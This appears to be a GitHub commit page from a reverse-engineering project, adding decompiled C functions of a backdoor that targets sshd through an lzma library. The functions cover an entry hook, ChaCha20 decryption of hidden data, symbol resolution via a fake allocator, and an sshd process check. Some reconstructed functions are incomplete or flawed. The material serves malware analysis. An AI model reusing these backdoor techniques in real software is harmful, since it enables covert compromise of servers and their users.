-
Notifications
You must be signed in to change notification settings - Fork 7
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
initial commit of some decompiled functions
- Loading branch information
Showing
18 changed files
with
379 additions
and
21 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
add_library(xzre_code | ||
backdoor_entry.c | ||
chacha_decrypt.c | ||
elf_symbol_get_addr.c | ||
get_lzma_allocator.c | ||
is_endbr64_instruction.c | ||
fake_lzma_alloc.c | ||
fake_lzma_free.c | ||
main_elf_parse.c | ||
secret_data_append_from_address.c | ||
secret_data_append_item.c | ||
secret_data_append_singleton.c | ||
secret_data_get_decrypted.c | ||
sha256.c | ||
sshd_patch_variables.c | ||
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
|
||
unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame){ | ||
u32 a = 0, b = 0, c = 0, d = 0; | ||
elf_entry_ctx_t state; | ||
|
||
if(resolver_call_count == 1){ | ||
state.symbol_ptr = (void *)1; | ||
memset(&state.got_ctx, 0x00, sizeof(state.got_ctx)); | ||
state.frame_address = caller_frame; | ||
backdoor_init(&state, caller_frame); | ||
} | ||
++resolver_call_count; | ||
_cpuid_gcc(cpuid_request, &a, &b, &c, &d); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
#include <openssl/evp.h> | ||
|
||
BOOL chacha_decrypt( | ||
u8 *in, int inl, | ||
u8 *key, u8 *iv, | ||
u8 *out, imported_funcs_t *funcs | ||
){ | ||
int outl = 0; | ||
if(!in || inl <= 0 || !iv || !out || !funcs) { | ||
return FALSE; | ||
} | ||
if(contains_null_pointers((void **)&funcs->EVP_CIPHER_CTX_new, 6)){ | ||
return FALSE; | ||
} | ||
EVP_CIPHER_CTX *ctx = funcs->EVP_CIPHER_CTX_new(); | ||
if(!ctx){ | ||
return FALSE; | ||
} | ||
const EVP_CIPHER *cipher = EVP_chacha20(); | ||
if(funcs->EVP_DecryptInit_ex(ctx, cipher, NULL, key, iv) == TRUE | ||
&& funcs->EVP_DecryptUpdate(ctx, out, &outl, in, inl) == TRUE | ||
&& outl >= 0 | ||
){ | ||
if(funcs->EVP_DecryptFinal_ex(ctx, &out[outl], &outl) == TRUE | ||
&& outl >= 0 && inl >= outl | ||
){ | ||
funcs->EVP_CIPHER_CTX_free(ctx); | ||
return TRUE; | ||
} | ||
} | ||
if(funcs->EVP_CIPHER_CTX_free){ | ||
funcs->EVP_CIPHER_CTX_free(ctx); | ||
} | ||
return FALSE; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
#include <elf.h> | ||
|
||
void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id){ | ||
Elf64_Sym *sym = elf_symbol_get(elf_info, encoded_string_id, 0); | ||
if(!sym){ | ||
return NULL; | ||
} | ||
|
||
if(sym->st_value && sym->st_shndx){ | ||
return (void *)PTRADD(elf_info->elfbase, sym->st_value); | ||
} else { | ||
return NULL; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
|
||
void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size){ | ||
elf_info_t *elf_info = (elf_info_t *)opaque; | ||
EncodedStringId string_id = (EncodedStringId)size; | ||
return elf_symbol_get_addr(elf_info, string_id); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
|
||
void fake_lzma_free(void *opaque, void *ptr){} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
|
||
lzma_allocator *get_lzma_allocator(void){ | ||
return &get_lzma_allocator_address()->allocator; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
|
||
BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part){ | ||
if((code_end - code_start) > 3){ | ||
return *code_start + (low_mask_part | 0x5E20000) == 0xF223; | ||
} | ||
return FALSE; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
#include <elf.h> | ||
|
||
BOOL main_elf_parse(main_elf_t *main_elf){ | ||
if(!elf_parse( | ||
main_elf->dynamic_linker_ehdr, | ||
main_elf->elf_handles->dynamic_linker | ||
)){ | ||
return FALSE; | ||
} | ||
Elf64_Sym *libc_stack_end_sym; | ||
if(!(libc_stack_end_sym = elf_symbol_get( | ||
main_elf->elf_handles->dynamic_linker, | ||
STR_libc_stack_end, | ||
STR_GLIBC_2_2_5 | ||
))){ | ||
return FALSE; | ||
} | ||
elf_info_t *dynamic_linker; | ||
void **libc_stack_end_ptr = (void *)PTRADD(dynamic_linker->elfbase, libc_stack_end_sym->st_value); | ||
if(!process_is_sshd(dynamic_linker, *libc_stack_end_ptr)){ | ||
return FALSE; | ||
} | ||
*main_elf->__libc_stack_end = *libc_stack_end_ptr; | ||
return TRUE; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
|
||
BOOL secret_data_append_from_address( | ||
void *addr, | ||
secret_data_shift_cursor_t shift_cursor, | ||
unsigned shift_count, unsigned operation_index | ||
){ | ||
u8 *code = (u8 *)addr; | ||
if((uintptr_t)addr <= 1){ | ||
code = (u8 *)__builtin_return_address(0); | ||
} | ||
return secret_data_append_singleton( | ||
addr, code, | ||
shift_cursor, shift_count, | ||
operation_index | ||
); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
/** | ||
* Copyright (C) 2024 Stefano Moioli <[email protected]> | ||
**/ | ||
#include "xzre.h" | ||
|
||
BOOL secret_data_append_item( | ||
secret_data_shift_cursor_t shift_cursor, | ||
unsigned operation_index, | ||
unsigned shift_count, | ||
int index, u8 *code | ||
){ | ||
return index && secret_data_append_singleton( | ||
code, code, | ||
shift_cursor, shift_count, | ||
operation_index | ||
); | ||
} |
Oops, something went wrong.